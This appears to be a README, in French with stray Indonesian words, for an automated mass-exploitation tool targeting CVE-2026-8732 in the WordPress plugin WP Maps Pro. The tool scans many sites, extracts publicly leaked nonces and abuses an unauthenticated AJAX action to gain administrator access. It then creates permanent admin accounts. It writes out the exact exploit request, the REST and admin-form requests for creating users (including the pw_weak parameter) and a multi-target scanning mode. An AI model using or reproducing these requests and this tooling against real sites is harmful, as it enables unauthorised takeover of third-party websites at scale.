
Exploitation automatisée en 8 phases pour CVE-2026-8732, une élévation de privilèges non authentifiée dans WP Maps Pro ≤ 6.1.0. Utilise multiprocessing et asyncio pour scanner les cibles, extraire des nonces et créer des comptes administrateurs.
Automatisation d'exploitation en 8 phases | Multiprocessing + Asyncio | Création d'admin vérifiée
Le plugin WordPress WP Maps Pro version ≤ 6.1.0 présente une vulnérabilité d'élévation de privilèges sans authentification. Un attaquant sans aucune information d'identification peut créer un compte administrateur et prendre le contrôle du site.
La vulnérabilité provient de la fonctionnalité "Temporary Access" conçue pour l'équipe de support du fournisseur FlipperCode, mais exposée au public sans protection adéquate.
| Information | Détail |
|---|---|
| CVE | CVE-2026-8732 |
| CVSS | 9.8 (CRITIQUE) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Plugin | WP Maps Pro (wp-google-map-gold) |
| Fournisseur | FlipperCode |
| Version affectée | ≤ 6.1.0 |
| Version corrigée | 6.1.1 |
| Type | Missing Authentication for Critical Function (CWE-306) |
| Impact | Création d'admin sans authentification → contrôle total du site |
| Auteur du PoC | XENON1337 |
┌──────────────────────────────────────────────────────────────┐
│ FAIBLESSE 1 — Point d'accès exposé sans authentification │
│ ▸ L'action AJAX est enregistrée avec wp_ajax_nopriv_ │
│ ▸ N'importe qui peut y accéder sans connexion │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ FAIBLESSE 2 — Nonce divulgué sur les pages publiques │
│ ▸ L'objet wpgmp_local.nonce est intégré dans chaque page │
│ ▸ L'attaquant peut extraire le nonce depuis le code source │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ FAIBLESSE 3 — Aucune vérification des droits d'accès │
│ ▸ La fonction de rappel ne vérifie que le nonce │
│ ▸ Pas de current_user_can() — aucune autre défense │
└──────────────────────────────────────────────────────────────┘
┌─────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ PHASE 1 │──▶│ PHASE 2 │──▶│ PHASE 3 │──▶│ PHASE 4 │
│ RESOLVE │ │ CHECK WP │ │ DETECT │ │ VERSION │
│ HTTPS? │ │ wp-content│ │ PLUGIN │ │ ≤6.1.0? │
│ HTTP? │ │ wp-login │ │ wpgmp_ │ │ WAF? │
└─────────┘ └──────────┘ └──────────┘ └─────┬────┘
│ RENTAN
▼
┌──────────────────────────────────────────────────────────┐
│ PHASE 5 — EXTRACTION DU NONCE │
│ │
│ GROUPE A (API) GROUPE B (Contenu) GROUPE C │
│ ├─ M1: REST pages ├─ M4: Sitemap XML └─ M7: Slug │
│ ├─ M2: REST search ├─ M5: Homepage links Brute │
│ └─ M3: rest_route └─ M6: RSS/Atom feed Force │
│ │
│ Target: wpgmp_local.nonce = "fc-call-nonce" │
└──────────────────────────┬───────────────────────────────┘
│ NONCE DITEMUKAN
▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ PHASE 6 │──▶│ PHASE 7 │──▶│ PHASE 8 │
│ EXPLOIT │ │ VERIFY │ │ AJOUT │
│ POST AJAX│ │ Magic URL│ │ ADMIN │
│ nonce+ │ │ Cookie │ │ PERMANENT│
│ check_ │ │ login │ │ REST API │
│ temp=false│ │ check │ │ WP-Admin │
└──────────┘ └──────────┘ │ Form │
│
▼
✅ ADMIN CRÉÉ
Login: wp_xxxx / pass
Role: administrator
| Phase | Nom | Fonction | Requêtes |
|---|---|---|---|
| 1 | Resolve | Sélection HTTPS/HTTP en parallèle | 1 |
| 2 | Check WP | Vérifier que la cible est WordPress | 0 |
| 3 | Detect Plugin | Vérifier l'indicateur WP Maps sur 3 couches | 0-4 |
| 4 | Version + WAF | Lire readme.txt / CSS ?ver= + détection WAF | 1 |
| 5 | Extraction du nonce | 7 méthodes de recherche en 3 groupes parallèles | 0-150 |
| 6 | Exploitation | POST admin-ajax.php → création d'un compte admin temporaire | 1 |
| 7 | Vérification | Accès URL magique → confirmation session admin | 2 |
| 8 | Ajout Admin | REST API (principal) + formulaire WP-Admin (secondaire) | 4 |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax
nonce=<EKSTRAKSI_NONCE>
check_temp=false
Réponse si vulnérable :
{"url":"https://target.com/?wpgmp_access=abc123def456"}
Cette URL magique fournit une connexion automatique en tant que
fc_user_XXXXX(rôle : administrateur).
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json
{
"username": "wp_xxxxxxxx",
"email": "user@localhost",
"password": "Str0ng!Pass#2026",
"roles": ["administrator"]
}
POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded
user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1 <-- CLÉ : confirmation de mot de passe faible
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>
Point clé :
pw_weak=1doit être inclus — WordPress rejette les mots de passe faibles sans ce paramètre.
CVE-2026-8732.py
│
├── 📦 NonceFinder — Chercheur de nonce avec 7 méthodes
│ ├── Groupe A (API): M1 REST pages, M2 REST search, M3 rest_route
│ ├── Groupe B (Contenu): M4 Sitemap, M5 Homepage links, M6 RSS feed
│ └── Groupe C (Paksa): M7 Slug brute force (30+ slugs courants)
│
├── ⚔️ Exploiter — Moteur d'exploitation 8 phases
│ ├── resolve() → Phase 1 : Sélection du protocole
│ ├── check_wp() → Phase 2 : Vérification WordPress
│ ├── detect_plugin() → Phase 3 : Détection du plugin + nonce précoce
│ ├── detect_version() → Phase 4 : Détection de version + WAF
│ ├── exploit() → Phase 6 : Exploitation principale
│ ├── verify() → Phase 7 : Vérification de la connexion admin
│ └── add_admin() → Phase 8 : Ajout d'admin permanent
│
├── 🔧 Worker Process — Processus de travail multiprocessing
│ ├── producer() → Lit le domaine depuis mp.Queue
│ └── consumer() (N) → Exécute le scan parallèle
│
└── 🖥️ Scanner — Interface utilisateur
├── single() → Mode cible unique (interactif)
└── multi() → Mode multi-cibles (massif)